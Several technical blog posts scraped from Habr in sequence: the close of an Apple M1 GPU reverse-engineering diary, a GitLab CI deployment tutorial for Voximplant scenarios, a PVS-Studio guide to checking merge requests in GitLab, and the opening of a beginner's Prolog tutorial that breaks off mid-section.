По своему предыдущему опыту работы с GPU я ожидала найти какой-нибудь ужас в наборе инструкций, повышающий сложность компилятора. Хотя написанное выше охватывает только небольшую площадь поверхности набора инструкций, пока всё кажется разумным и логичным. Отсутствуют сложные трюки для оптимизации, однако отказ от трюков позволяет создать простой, эффективный дизайн, выполняющий одну задачу, и справляющийся с ней хорошо. Возможно, проектировщики оборудования Apple поняли, что простота превыше всего.
Часть вторая
------------
В первой части я начала изучать GPU Apple M1, надеясь разработать бесплатный драйвер с открытым исходным кодом. Теперь мне удалось достичь важного этапа: отрисовать треугольник с помощью собственного кода в open source. Вершинные и фрагментные шейдеры написаны вручную на машинном коде, а взаимодействие с оборудованием выполняется с помощью драйвера ядра IOKit, подобно тому, как это происходило в системном драйвере пользовательского пространства Metal.
*Треугольник, отрендеренный на M1 кодом в open source*
Основная часть нового кода отвечает за построение различных буферов команд и дескрипторов, находящихся в общей памяти и используемых для управления поведением GPU. Любое состояние, доступное из Metal, соответствует битам в этих буферах, поэтому следующей важной задачей будет их анализ. Пока меня больше интересует не содержимое, а связи между ними. В частности, структуры, содержащие указатели друг на друга, иногда встроенные на несколько слоёв вглубь. Процесс подготовки треугольника в моём проекте позволяет взглянуть «с высоты птичьего полёта» на то, как взаимодействуют все эти отдельные части в памяти.
Например, предоставляемые приложением данные вершин хранятся в собственных буферах. Внутренняя таблица в ещё одном буфере указывает на эти буферы вершин. Эта внутренняя таблица передаётся непосредственно на вход вершинного шейдера, заданного в другом буфере. На это описание вершинного шейдера, в том числе и на адрес кода в исполняемой памяти, указывает ещё один буфер, на который сам ссылается основной буфер команд, на который ссылается вызов IOKit на передачу буфера команд. Ого!
Другими словами, код демо пока не предназначен для демонстрации понимания мелких подробностей буферов команд, а скорее служит для демонстрации того, что «ничто не упущено». Так как виртуальные адреса GPU меняются при каждом запуске, демо подтверждает, что идентифицированы все необходимые указатели и их можно свободно перемещать в памяти с помощью нашего собственного (тривиального) распределителя. Так как в macOS присутствует некоторая «магия», связанная с распределением памяти и буферов команд, наличие этого работающего кода позволяет нам спокойно двигаться дальше.
Я использовала поэтапный процесс подготовки. Поскольку моя обёртка IOKit располагается в то же адресном пространстве, что и приложение Metal, обёртка способна модифицировать буферы команд непосредственно перед передачей в GPU. В качестве первого «hello world» я задала кодирование в памяти цвета очистки render target и показала, что могу изменять этот цвет. Аналогично, узнав о наборе инструкций для вывода дизассемблера, я заменила шейдеры написанными самостоятельно эквивалентами и убедилась, что могу исполнять код в GPU, доказать, что написала машинный код. Однако мы не обязаны останавливаться на этих «нодах листьев» системы; изменив код шейдера, я попыталась загрузить код шейдера в другую часть исполняемого буфера, модифицировав указатель командного буфера на код, чтобы компенсировать это. После этого я смогу попробовать самостоятельно загружать команды для шейдера. Проводя разработку таким образом, я смогу создать все необходимые структуры, тестируя каждую из них по отдельности.
Несмотря на затруднения, этот процесс оказался гораздо более успешным, чем попытка перейти непосредственно к построению буферов, например, при помощи «воспроизведения». Я использовала этот альтернативный способ несколько лет назад для создания драйверов Mali, однако у него есть серьёзный недостаток — чудовищно сложная отладка. Если в пяти сотнях строк магических чисел присутствует хотя бы одна опечатка, то никакой обратной связи, кроме ошибки GPU, вы не получите. Однако при последовательной работе можно выявлять причины ошибок и немедленно их исправлять, что оказывается быстрее и удобнее.
Однако затруднения всё-таки были! Моё временное ликование, вызванное возможностью изменения цветов очистки, пропало, когда я попыталась выделить буфер для цветов. Несмотря на то, что GPU кодировал те же биты, что и раньше, ему не удавалось корректно выполнить очистку. Думая, что где-то ошиблась в способе модификации указателя, я попыталась поместить цвет в неиспользованную часть памяти, уже созданную драйвером Metal, и это сработало. Содержимое осталось тем же, как и способ модификации указателей, но GPU почему-то не нравилось моё распределение памяти. Я думала, что как-то неправильно распределяю память, но использованные для вызова распределения памяти IOKit были побитово идентичны тем, что использовались Metal, что подтверждалось `wrap`. Моей последней отчаянной попыткой стала проверка, должна ли память GPU отображаться явным образом через какой-то побочный канал, например, через системный вызов `mmap`. У IOKit есть устройство-независимый вызов memory map, но никакие трассировки не позволили обнаружить свидетельств отображений через сторонние системные вызовы.
Появилась проблема. Утомившись от потраченного на устранение «невозможного» бага времени, я задалась вопросом, нет ли чего-то «магического» не в системном вызове, а в самой памяти GPU. Глупая теория, потому что если это так, то появляется серьёзная проблема «курицы и яйца»: если распределение памяти GPU должно быть одобрено другим распределением GPU, то кто одобряет первое распределение?
Чувствуя себя глупо и ощущая отчаяние, я решила протестировать теорию, вставив вызов распределения памяти *посередине* потока выполнения приложения, чтобы каждое последующее распределение находилось по другому адресу. Выполнив дамп памяти GPU до и после этого изменения и изучив их отличия, я обнаружила свой первый кошмар: наличие вспомогательного буфера в памяти GPU, отслеживающего все требуемые распределения. В частности, я заметила, что значения в этом буфере увеличиваются на единицу с предсказуемым смещением (через каждые `0x40` байт), и это намекает о содержании в буфере массива дескрипторов распределений. И в самом деле, эти значения точно соответствовали дескрипторам, возвращаемым из ядра при вызовах распределения памяти GPU.
Закрыв глаза на очевидные проблемы этой теории, я всё равно её протестировала, модифицировав эту таблицу и добавив в конец дескриптор моего нового распределения, а также изменив структуру данных заголовка так, чтобы увеличить количество элементов на единицу. Это не помогло. Несмотря на разочарование, это всё равно не позволяло полностью отказаться от теории. На самом деле, я заметила в элементах таблицы нечто любопытное: не *все* они соответствовали действительным дескрипторам. Действительными были все элементы, кроме *последнего*. Диспетчеры ядра имеют индексацию с 1, однако в каждом дампе памяти последний дескриптор всегда был `0`, несуществующим. Вероятно, он используется как контрольное значение, аналогично NULL-terminated string в C. Однако при таком объяснении возникает вопрос: почему? Если заголовок уже содержит количество элементов, то контрольное значение избыточно.
Я продолжила разбираться дальше. Вместо добавления ещё одного элемента с моим дескриптором, я скопировал последний элемент `n` в дополнительный элемент `n + 1` и переписала элемент `n` (теперь второй с конца) новым дескриптором.
Внезапно отобразился нужный мне цвет очистки.
Итак, загадка решена? Код заработал, так что в каком-то смысле да. Но едва ли это объяснение может нас удовлетворить; на каждом этапе непонятное решение будет создавать новые вопросы. Проблему курицы и яйца решить проще всего: эта таблица отображений вместе с корневым буфером команд распределяется специальным селектором IOKit, не зависящим от распределения общего буфера, а дескриптор таблицы отображений передаётся с селектором буфера команд. Более того, идея передачи требуемых дескрипторов вместе с передачей буфера команд не уникальна; подобный механизм используется в стандартных драйверах Linux. Тем не менее, обоснование для использования 64-байтных элементов таблицы в общей памяти вместо простого массива на стороне CPU остаётся совершенно непонятной.
Но даже оставив позади проблемы с распределением памяти, двигаться вперёд пришлось не без труда. Однако благодаря терпению мне удалось полностью воссоздать память GPU параллельно с Metal, используя проприетарное пространство пользователя только для инициализации устройства. Наконец, остался последний «прыжок веры» — отказ от синхронизации с IOKit, после чего мне удалось получить свой первый треугольник.
Для второй части статьи пришлось внести в код изменения объёмом примерно 1700 строк кода, сам код выложен на [GitHub](https://github.com/AsahiLinux/gpu). Я собрала простое демо, анимирующее на экране треугольник с помощью GPU. Интеграция с оконной системой на этом этапе практически отсутствует: требуется XQuartz, а в ПО с наивным скалярным кодом возникает detiling буфера кадров. Тем не менее, скорости CPU M1 с лихвой хватает, чтобы с этим справиться.
Теперь, когда готова начальная загрузка каждой части драйвера пространства пользователя, двигаясь дальше, мы сможем по отдельности работать над набором инструкций и буферами команд. Можно будет разобрать мелкие подробности и побитово преобразовать код из сотен необъяснимых магических констант в настоящий драйвер. | https://habr.com/ru/post/537634/ | null | ru | null |
# Использование gitlab continuous integration для деплоя
Совсем недавно гитлаб героически выкатил версию 8.0 своего конкурента гитхабу. Из интересного — движок continuous integration теперь встроен в платформу, а значит доступен в качестве бесплатного сервиса для всех желающих на [gitlab.com](http://gitlab.com). Совместно с бесплатными приватными репозиториями это делает облачный сервис гитлаб не только удобным местом для хранения кода, но также тестирования и деплоя. О последнем я и расскажу под катом.
Continuous integration — это не только запуск юнит тестов при пуше нового кода в репозиторий. Это еще и возможность делать сборки продуктов, публиковать их в сторы, на сайты и в другие каналы распространения. Облачная телефония voximplant использует javascript сценарии, которые размещаются в нашем облаке и выполняются по команде “снаружи” или при поступлении входящего звонка. Многие клиенты для работы со сценариями используют встроенный в админку текстовый редактор, что вполне подходит для простых случаев. Но при разработке и поддержке сложных облачных систем, к примеру телефонии Bitrix24, нужно что-то более серьезное.
Создавая voximplant мы решили не делать push-to-deploy как у heroku. У многих наших клиентов основной бизнес не связан с разработкой софта, и оставлять их один на один с git’ом не очень хорошо. Зато есть HTTP API с функцией “задеплоить сценарий”, который намекает понимающим людям что сценарии можно хранить на gitlab и деплоить с помощью shell скрипта и curl. Большинство клиентов так и делает, но у подхода есть серьезный недостаток: скрипт нужно не забыть вызвать. Более того, вызывать его надо только если код был запушен в production ветку. И только после того, как прошли тесты. Вообще много способов ошибиться.
**Настройка continuous integration в gitlab**
=============================================
По умолчанию continuous integration в гитлабе выключено и необходимо его включить в настройках:
После включения в левом меню настроек проекта появляется несколько новых пунктов, самый интересный для нас — это «runners». Continuous integration в гитлабе работает следующим образом:
1. Вы делаете push в репозиторий
2. Если в корне проекта есть файл **.gitlab-ci.yml**, то гитлаб понимает что для этого проекта будет использоваться continuous integration.
3. Гитлаб ищет запущенный runner, подключенный для этого или для любого проекта. Runner — это приложение, которое обычно запускают на отдельном компьютере и которое будет собственно осуществлять continuous integration: прогонять тесты, собирать исполняемые файлы, осуществлять деплой. Можно запустить свой runner, к примеру на маке чтобы собрать приложение для iOS. Можно использовать “gitlab public runner”, но они не то чтобы очень безопасны и входящие очереди задач у них обычно многочасовые.
4. Гитлаб передает yaml файл runner’у, который обновляет исходники в своем репозитории и выполняет команды, описанные в этом файле. Команды могут быть как простые, к примеру сделать деплой сценария в облако voximplant. Так и сложные: запуск docker контейнера, сборка в нем проекта, запуск тестов и так далее.
5. После выполнения скриптов runner рапортует обратно гитлабу результаты, которые можно посмотреть рядом с соответствующим коммитом.
**Установка gitlab ci runner**
==============================
Для нашего примера мы запустим runner на машине разработчика. Инструкции по установки для windows/linux/osx доступна на [официальном сайте](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner), после установки мы получаем в свое распоряжение command line утилиту **gitlab-ci-multi-runner**. Запущенный runner подключается к гитлабу и ждет задачи на сборку. Но как гитлаб узнает, какие задачи какому runner’у давать? Чтобы “привязать” runner к своему аккаунту и проекту (или нескольким проектам) необходимо вызвать **gitlab-ci-multi-runner** с ключем **register** и ввести параметры подключение: url гитлаб (так как гитлаб может быть развернут локально в вашей сети) и токен регистрации, который, собственно, и определяет аккаунт/проекты:
Зарегистрированный runner запускается командой **gitlab-ci-multi-runner run** и ждет задачу от гитлаба. С помощью ключей командной строки **install** и **start** runner можно зарегистрировать в системе как сервис, чтобы он автоматически стартовал после перезагрузки операционной системы.
**Конфигурация continuous integration для деплоя**
==================================================
Как я уже писал, задачи continuous integration описываются в файле **.gitlab-ci.yml** который необходимо разместить в корне проекта. Редкоземельный синтаксис YAML является как-бы-человекочитаемой альтернативой JSON’у, документация доступна на [официальном сайте](https://docs.gitlab.com/ee/ci/yaml/). Конфигурационный файл для деплоя проекта в voximplant будет максимально простым, все что нам нужно — это сделать один вызов HTTP API как описано в нашей [документации](https://voximplant.com/docs/references/httpapi/scenarios#setscenarioinfo). Если исходить из предположения, что runner выполняется на компьютере где установлен curl, а код сценария находится в файле **scenario.js**, то конфигурационный файл для деплоя будет выглядеть следующим образом (Упрощенный пример. Настоящий побольше будет, к примеру api\_key имеет смысл вынести в переменную окружения, см. комментарий [nmike](https://habr.com/ru/users/nmike/)):
```
before_script:
- npm install
stages:
- deploy
deploy:
script:
- curl -X POST "https://api.voximplant.com/platform_api/SetScenarioInfo/?account_id=1&api_key=2&required_scenario_name=foo" --data-urlencode scenario_script@scenario.js
```
В curl используется синтаксический сахар нашего API, которое может принимать аргументы как в компоненте query передаваемого url, так и в body http запроса.
Чтобы continuous integration заработал достаточно сделать push в репозиторий: гитлаб обнаружит файл **.gitlab-ci.yml**, найдет подключенный runner, передаст ему содержимое этого файла, runner обновит свою копию репозитория и запустит скрипт деплоя, который отгрузит исходный код в наше облако.
Вопросы, уточнения, комментарии? Gitlab vs Jenkins vs Bamboo vs Teamcity? | https://habr.com/ru/post/269473/ | null | ru | null |
# Analysis of merge requests in GitLab using PVS-Studio for C#
Do you like GitLab and don't like bugs? Do you want to improve the quality of your source code? Then you've come to the right place. Today we will tell you how to configure the PVS-Studio C# analyzer for checking merge requests. Enjoy the reading and have a nice unicorn mood.
[PVS-Studio](https://www.viva64.com/en/pvs-studio/) is a tool designed to detect errors and potential vulnerabilities in the source code of programs, written in C, C++, C#, and Java. Works in 64-bit systems on Windows, Linux and macOS. Can analyze the code meant for 32-bit, 64-bit and embedded ARM platforms.
By the way, we've released PVS-Studio 7.08, which was full of new sapid [features](https://www.viva64.com/en/b/0745/). For example:
* C# analyzer under Linux and macOS;
* plugin for Rider;
* new mode for checking a list of files.
Mode of checking a list of files
--------------------------------
Previously, in order to check certain files, one had to pass .xml to the analyzer with a list of files. But since this is not very convenient, we have added the ability to pass .txt, which makes life much simpler.
To check certain files, specify the *--sourceFiles* (*-f*) flag and pass .txt with the list of files. It looks like this:
```
pvs-studio-dotnet -t path/to/solution.sln -f fileList.txt -o project.json
```
If you are interested in configuring checks of commits or pull requests, you can also do this using this mode. The difference will be in getting a list of files for analysis and will depend on which systems you are using.
Principle of checking merge requests
------------------------------------
The main point of checking is to make sure that problems detected by the analyzer do not make it into the *master* branch when merging. We also don't want to analyze the entire project every time. Moreover, when merging branches, we have a list of changed files. Therefore, I suggest adding a merge request check.
This is how a merge request looks like before introducing a static analyzer:
In other words, all errors in the *changes* branch will get to the master branch. Since we wouldn't like this, we add the analysis, and now the scheme looks as follows:
We analyze *changes2* and, if there are no errors, we accept the merge request, otherwise reject it.
By the way, if you are interested in analyzing commits and pull requests for C/C++, you are welcome to read about it [here](https://www.viva64.com/en/b/0679/).
GitLab
------
[GitLab](https://gitlab.com/) is an open source DevOps lifecycle web tool that provides a code repository management system for Git with its own wiki, bug tracking system, CI/CD pipeline, and other features.
Before you start implementing the merge request analysis, you need to register and upload your project. If you do not know how to do this, then I suggest an [article](https://www.viva64.com/en/b/0686/) by my colleague.
**Note**. One of the possible ways to configure the environment is described below. The point is to show the steps for configuring the environment needed for analyzing and running the analyzer. In your case, it may be better to separate the stages of environment preparation (adding repositories, installing the analyzer) and analysis. For example, preparing Docker instances with the necessary environment and their usage, or some other method.
In order to get a better understanding of what is going to happen next, I suggest taking a look at the following scheme:
The analyzer needs .NET Core SDK 3 for proper operation from which the necessary dependencies for the analyzer will be installed. Adding Microsoft repositories for various Linux distributions is [described in the relevant document](https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu).
To install PVS-Studio via the package manager, you will also need to add PVS-Studio repositories. Adding repositories for various distributions is described in more detail in the [relevant section of the documentation](https://www.viva64.com/en/m/0051/).
The analyzer needs a license key to operate. You can get a trial license on the [analyzer download page](https://www.viva64.com/en/pvs-studio-download/).
**Note**. Please note that the described operating mode (merge requests analysis) requires an Enterprise license. Therefore, if you would like to try this mode of operation, don't forget to specify that you need an Enterprise license in the "Message" field.
If a merge request occurs, we only need to analyze the list of changed files, otherwise we analyze all files. After the analysis, we need to convert the logs to the format we need.
Now, with the algorithm in front of your eyes, you can proceed to writing the script. To do this, we need to change the *.gitlab-ci.yml* file or, if there is no such file, create one. To create it, click on the name of your project -> *Set up CI/CD*.
Now we are ready to write the script. Let's first write the code that will install the analyzer and enter the license:
```
before_script:
- apt-get update && apt-get -y install wget gnupg
- apt-get -y install git
- wget https://packages.microsoft.com/config/debian/10/
packages-microsoft-prod.deb -O packages-microsoft-prod.deb
- dpkg -i packages-microsoft-prod.deb
- apt-get update
- apt-get install apt-transport-https
- apt-get update
- wget -q -O - https://files.viva64.com/etc/pubkey.txt | apt-key add -
- wget -O /etc/apt/sources.list.d/viva64.list
https://files.viva64.com/etc/viva64.list
- apt-get update
- apt-get -y install pvs-studio-dotnet
- pvs-studio-analyzer credentials $PVS_NAME $PVS_KEY
- dotnet restore "$CI_PROJECT_DIR"/Test/Test.sln
```
Since installation and activation must occur before all other scripts, we use a special *before\_script* label. Let me be clear on this fragment.
Preparation for the analyzer installation:
```
- wget https://packages.microsoft.com/config/debian/10/
packages-microsoft-prod.deb -O packages-microsoft-prod.deb
- dpkg -i packages-microsoft-prod.deb
- apt-get update
- apt-get install apt-transport-https
- apt-get update
```
Adding PVS-Studio repositories and the analyzer:
```
- wget -q -O - https://files.viva64.com/etc/pubkey.txt | apt-key add -
- wget -O /etc/apt/sources.list.d/viva64.list
https://files.viva64.com/etc/viva64.list
- apt-get update
- apt-get -y install pvs-studio-dotnet
```
License activation:
```
- pvs-studio-analyzer credentials $PVS_NAME $PVS_KEY
```
*$PVS\_NAME* — user name.
*$PVS\_KEY* — product key.
Restoration of project dependencies, where *$CI\_PROJECT\_DIR* is the full path to the project directory:
```
- dotnet restore "$CI_PROJECT_DIR"/Path/To/Solution.sln
```
For correct analysis, the project must be successfully built, and its dependencies must be restored (for example, the necessary NuGet packages must be loaded).
You can set environment variables containing license information by clicking on *Setting*, and then on *CI / CD*.
In the opening window, find the item *Variables*, click *Expand* on the right and add variables. The result should be the following:
Now we can proceed to the analysis. First, we will add a script for full analysis. In the *-t* flag, we pass the path to solution, and in the *-o* flag, we write the path to the file where the analysis results will be written. Also the return code is of interest for us here. In this case, we'd like the analysis to continue when an exit code signals that warnings were issued during the analysis. Here's how this fragment looks like:
```
job:
script:
- exit_code=0
- pvs-studio-dotnet -t "$CI_PROJECT_DIR"/Test/Test.sln -o
PVS-Studio.json || exit_code=$?
- exit_code=$((($exit_code & 8)/8))
- if [[ $exit_code == 1 ]]; then exit 1; else exit 0; fi
```
Exit codes work as bit masks. For example, if warnings were issued as a result of the analysis, the exit code will be equal to 8. If the license expires within a month, the exit code will be 4. If errors were found during the analysis, and the license expires within a month, both values will be written to the exit code: the numbers add up and we get the final exit code — 8+4=12. Thus, by checking the corresponding bits, you can get information about various states during analysis. Exit codes are described in more detail in the section "Pvs-studio-dotnet exit codes (Linux / macOS)"of the document "[Analyzing Visual Studio / MSBuild / .NET Core projects from the command line using PVS-Studio](https://www.viva64.com/en/m/0035/)".
In this case, we are interested in all exit codes where 8 appears.
```
- exit_code=$((($exit_code & 8)/8))
```
We get 1 when the exit code has the bit we are interested in set, otherwise we get 0.
Now it is time to add the analysis of the merge request. Before doing this, let's get some space for the script. We want it to be executed only when a merge request occurs. This looks as follows:
```
merge:
script:
only:
- merge_requests
```
Let's move on to the script itself. I stumbled upon the issue that the virtual machine knows nothing about *origin/master*. So we'll lend it a hand:
```
- git fetch origin
```
Now we get the difference between branches and save the result to a *txt* file:
```
- git diff --name-only origin/master $CI_COMMIT_SHA > pvs-fl.txt
```
Where *$CI\_COMMIT\_SH*A is the hash of the last commit.
Next, we run analysis of the list of files by using the *-f* flag. We pass the previously received .txt file to it. By analogy with the full analysis, we check out the exit codes:
```
- exit_code=0
- pvs-studio-dotnet -t "$CI_PROJECT_DIR"/Test/Test.sln -f
pvs-fl.txt -o PVS-Studio.json || exit_code=$?
- exit_code=$((($exit_code & 8)/8))
- if [[ $exit_code == 1 ]]; then exit 1; else exit 0; fi
```
Full script for checking merge request will look like this:
```
merge:
script:
- git fetch origin
- git diff --name-only origin/master $CI_COMMIT_SHA > pvs-fl.txt
- exit_code=0
- pvs-studio-dotnet -t "$CI_PROJECT_DIR"/Test/Test.sln -f
pvs-fl.txt -o PVS-Studio.json || exit_code=$?
- exit_code=$((($exit_code & 8)/8))
- if [[ $exit_code == 1 ]]; then exit 1; else exit 0; fi
only:
- merge_requests
```
It only remains to add the log conversion after all the scripts have worked. We use the *after\_script* label and the *plog-converter* utility:
```
after_script:
- plog-converter -t html -o eLog ./PVS-Studio.json
```
The [plog-converter](https://github.com/viva64/plog-converter) utility is an open source project that is used to convert the analyzer error report into various forms, such as HTML. For a more detailed description of the utility, see the section "Plog Converter Utility" in the [relevant documentation section](https://www.viva64.com/en/m/0036/).
By the way, if you'd like to conveniently work with a .json report locally from the IDE, then I recommend our [plugin](https://plugins.jetbrains.com/plugin/14480-pvs-studio-for-rider) for IDE Rider. For more information about its use, see the [special document](https://www.viva64.com/en/m/0052/).
For convenience, here is the entire*.gitlab-ci.yml*:
```
image: debian
before_script:
- apt-get update && apt-get -y install wget gnupg
- apt-get -y install git
- wget https://packages.microsoft.com/config/debian/10/
packages-microsoft-prod.deb -O packages-microsoft-prod.deb
- dpkg -i packages-microsoft-prod.deb
- apt-get update
- apt-get install apt-transport-https
- apt-get update
- wget -q -O - https://files.viva64.com/etc/pubkey.txt | apt-key add -
- wget -O /etc/apt/sources.list.d/viva64.list
https://files.viva64.com/etc/viva64.list
- apt-get update
- apt-get -y install pvs-studio-dotnet
- pvs-studio-analyzer credentials $PVS_NAME $PVS_KEY
- dotnet restore "$CI_PROJECT_DIR"/Test/Test.sln
merge:
script:
- git fetch origin
- git diff --name-only origin/master $CI_COMMIT_SHA > pvs-fl.txt
- exit_code=0
- pvs-studio-dotnet -t "$CI_PROJECT_DIR"/Test/Test.sln -f
pvs-fl.txt -o PVS-Studio.json || exit_code=$?
- exit_code=$((($exit_code & 8)/8))
- if [[ $exit_code == 1 ]]; then exit 1; else exit 0; fi
only:
- merge_requests
job:
script:
- exit_code=0
- pvs-studio-dotnet -t "$CI_PROJECT_DIR"/Test/Test.sln -o
PVS-Studio.json || exit_code=$?
- exit_code=$((($exit_code & 8)/8))
- if [[ $exit_code == 1 ]]; then exit 1; else exit 0; fi
after_script:
- plog-converter -t html -o eLog ./PVS-Studio.json
```
As soon as we've added everything to the file, click on *Commit changes*. To make sure that everything is correct, go to *CI/CD* — > *Pipelines* -> *Running*. It opens the virtual machine window at the end of which should be the following:
Once you get *Job succeeded* — it's ok, profit. Now you can test what you've done.
Examples of working
-------------------
As an example, we will create a simple project (in *master*) that will contain several files. After that, we will change only one file in another branch and try to make a merge request.
Let's look at two cases: when the modified file contains an error, and when it doesn't. First, we'll consider an example with an error.
Let's say there is a *Program.cs* file in the master branch that doesn't contain errors, and in another branch the developer added erroneous code and wants to make a merge request. What kind of mistake they made is not so important, the main thing is that it is there. For example, they forgot the *throw* operator (yes, [people make such mistakes](https://www.viva64.com/en/examples/v3006/)):
```
void MyAwesomeMethod(String name)
{
if (name == null)
new ArgumentNullException(....);
// do something
....
}
```
Let's look at the analysis result for the example with an error. Also, to make sure that only one file was analyzed, I added the *-r* flag to the pvs-studio-dotnet command line:
As we can see, the analyzer found an error and didn't allow merging branches.
Now let's check the example without an error. Fixed code:
```
void MyAwesomeMethod(String name)
{
if (name == null)
throw new ArgumentNullException(....);
// do something
....
}
```
Analysis results of merge request:
As we can see, no errors were found, and the task was completed successfully, which is what we wanted to check.
Conclusion
----------
Filtering out bad code before merging branches is very convenient and pleasant. So if you are using CI/CD, try embedding a static analyzer to check it. Especially since it can be done very simply.
Thank you for your attention. | https://habr.com/ru/post/512294/ | null | en | null |
# Логическое программирование на Prolog для чайников
Prolog - самый популярный язык логического программированияВ этой статье:
1. Узнаем, что такое *логическое программирование* (ЛП), и его области применения
2. Установим самый популярный язык ЛП --- Prolog
3. Научимся писать простые программы на Prolog
4. Научимся спискам в Prolog
5. Разберем преимущества и недостатки Prolog.
Эта статья будет полезна для тех, кто:
1. Интересуется необычными подходами и расширяет свой кругозор
2. Начинает изучать Prolog (например, в институте)
Меня зовут Михаил Горохов, и эта статья написана в рамках вузовского курсового проекта. В первую очередь эта статья ориентирована на студентов ПМ и ПМИ, на долю которых выпало изучение прекрасного мощного языка Prolog, и которым приходится изучать совершенно новый и непривычный для них подход. Первое время он даже голову ломает. ~~Особенно любителям оптимизации.~~
В конце статьи я оставлю полезные ссылки. Если у вас останутся вопросы — пишите в комментариях!
Начнем туториал: Пролог для чайников!
Логическое программирование
---------------------------
Существуют разные подходы к программированию. Часто выделяют такие парадигмы программирования:
* Императивное (оно же алгоритмическое или процедурное). Самая известная парадигма. Программист четко прописывает последовательность команд, которые должен выполнить процессор. Примеры: C/C++, Java, C#, Python, Golang, машина Тюрьнга, алгоритмы Маркова. Все четко, последовательно ~~как надо~~. Синоним императивного — приказательное.
* Аппликативное (Функциональное). Менее известная, но тоже широко используемая. Примеры языков: Haskell, F#, Лисп. Основывается на математической абстракции лямбда вычислениях. Благодаря чистым функциям очень удобно параллелить такие программы. Чистые функции — функции без побочных эффектов. Если такой функции передавать одни и те же аргументы, то результат всегда будет один и тот же. Такие языки обладают высокой надежностью кода.
* И наконец — Декларативное (Логическое). Основывается на автоматическом доказательстве теорем на основе фактов и правил. Примеры языков: Prolog и его диалекты, Mercury. В таких языках мы описываем пространство состояний, в которых сам язык ищет решение к задаче. Мы просто даем ему правила, факты, а потом говорим, что "сочини все возможные стихи из этих слов", "реши логическую задачу", "найди всех братьев, сестер, золовок, свояков в генеалогическом древе", или "раскрась граф наименьшим кол-вом цветов так, что смежные ребра были разного цвета".
Что такое ЛП я обозначил. Предлагаю сразу перейти к практике, к основам Prolog (*PROgramming in LOGic*). На практике все становится понятнее. Практику и теорию я буду чередовать. Не беспокойтесь, если сразу будет что-то не понятно. Повторяйте за мной, и вы разберетесь.
Установка Prolog
----------------
Существую разные реализации (имплементации) Пролога: SWI Prolog, Visual Prolog, GNU Prolog. Мы установим SWI Prolog.
Установка на Arch Linux:
```
sudo pacman -S swi-prolog
```
Установка на Ubuntu:
```
sudo apt install swi-prolog
```
Prolog работает в режиме интерпретатора. Теперь можем запустить SWI Prolog. Запускать не через swi-prolog, а через swipl:
```
[user@Raft ~]$ swipl
Welcome to SWI-Prolog (threaded, 64 bits, version 8.2.3)
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software.
Please run ?- license. for legal details.
For online help and background, visit https://www.swi-prolog.org
For built-in help, use ?- help(Topic). or ?- apropos(Word).
?-
```
Ура! Оно работает!
Теперь поставим на Windows.
Перейдем на официальный сайт на страницу скачивания стабильной версии. [Ссылка на скачивание. Клик](https://www.swi-prolog.org/download/stable). Скачаем 64х битную версию. Установка стандартная. Чтобы ничего не сломать, я решил галочки не снимать. Ради приличия я оставлю скрины установки.
Сайт SWI Prolog - установщики последней стабильной версииГалочки не трогаемИщу SWI-Prolog через поиск Windows. ЗапускаюУра! Теперь и на Windows все работаетОсновы Prolog. Факты, правила, предикаты
----------------------------------------
Есть утверждения, предикаты:
* Марк изучает книгу (учебник, документацию)
* Маша видит клавиатуру (мышку, книгу, тетрадь, Марка)
* Миша изучает математику (ЛП, документацию, учебник)
* Саша старше Лёши
С английского "predicate" означает "логическое утверждение".
Есть объекты: книга, клавиатура, мышка, учебник, документация, тетрадь, математика, ЛП, Марк, Маша, Саша, Даша, Лёша, Миша, да что угодно может быть объектом.
Есть отношения между объектами, т.е то, что связывает объекты. Связь объектов можно выразить через глаголы, например: читать, видеть, изучать. Связь можно выразить через прилагательное. Миша старше Даши. Даша старше Лёши. ~~Получается.. связью может быть любая часть речь? Получается так.~~
Прекрасно! Давайте попробуем запрограммировать эти утверждения на Прологе. Для этого нам нужно:
1. Создать новый текстовый файл, который я назову *simple.pl (*.pl — расширение Пролога*)*
2. В нем написать простой однострочный код на Прологе
3. Запустить код с помощью SWI Prolog
4. Спросить у Пролога этот факт
Файл simple.pl:
```
study(mark, book).
```
Запустим. На линуксе это делается таким образом:
```
[user@Raft referat]$ swipl simple.pl
Welcome to SWI-Prolog (threaded, 64 bits, version 8.2.3)
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software.
Please run ?- license. for legal details.
For online help and background, visit https://www.swi-prolog.org
For built-in help, use ?- help(Topic). or ?- apropos(Word).
?-
```
На Windows я использую notepad++ для написания кода на Прологе. Я запущу SWI-Prolog и открою файл через consult.
Видим, что он скомпилировал условия. Даже написал "1 clauses", т.е один фактЧто мы сделали? Мы загрузили базу знаний (те, которые мы описали в простом однострочном файле *simple.pl*) и теперь можем задавать вопросы Прологу. То есть система такая: пишем знания в файле, загружаем эти знания в SWI Prolog и задаем вопросы интерпретатору. Так мы будем решать поставленную задачу. (Даже видно, в начале интерпретатор пишет "?- ". Это означает, что он ждет нашего вопроса~~, как великий мистик~~)
Давайте спросим "Марк изучает книгу?" На Прологе это выглядит так:
```
?- study(mark, book).
true.
?-
```
По сути мы спросили "есть ли факт study(mark, study) в твоей базе?", на что нам Пролог лаконично ответил "true." и продолжает ждать следующего вопроса. А давайте спросим, "изучает ли Марк документацию?"
```
?- study(mark, book).
true.
?- study(mark, docs).
false.
?-
```
Интерпретатор сказал "false.". Это означает, что он не нашел этот факт в своей базе фактов.
Расширим базу фактов. После я определю более строгую терминологию и опишу, что происходит в этом коде.
*Сделаю важное замечание для начинающих.* Сложность Пролога состоит в *специфичной терминологии* и в *непривычном синтаксисе*, в отсутствии императивных фич, вроде привычного присвоения переменных.
```
% Код на прологе. Я описал 11 фактов.
% Каждый факт оканчивается точкой ".", как в русском языке, как любое утверждение.
% Комментарии начинаются с "%".
% Интерпретатор пролога игнорирует такие комментарии.
/* А это
многострочный
комментарий
*/
% Факты. 11 штук
study(mark, book). % Марк изучает книгу
study(mark, studentbook). % Марк изучает учебник
study(mark, docs). % Марк изучает доки
see(masha, mouse). % Маша видит мышь
see(masha, book). % Маша видит книгу
see(masha, notebook). % Маша видит тетрадь
see(masha, mark). % Маша видит Марка
study(misha, math). % Миша изучает матешу
study(misha, lp). % Миша изучает пролог
study(misha, docs). % Миша изучает доки
study(misha, studentbook). % Миша изучает учебник
```
Терминология. Объекты данных в Прологе называются **термами** (предполагаю, от слова "термин"). Термы бывают следующих видов:
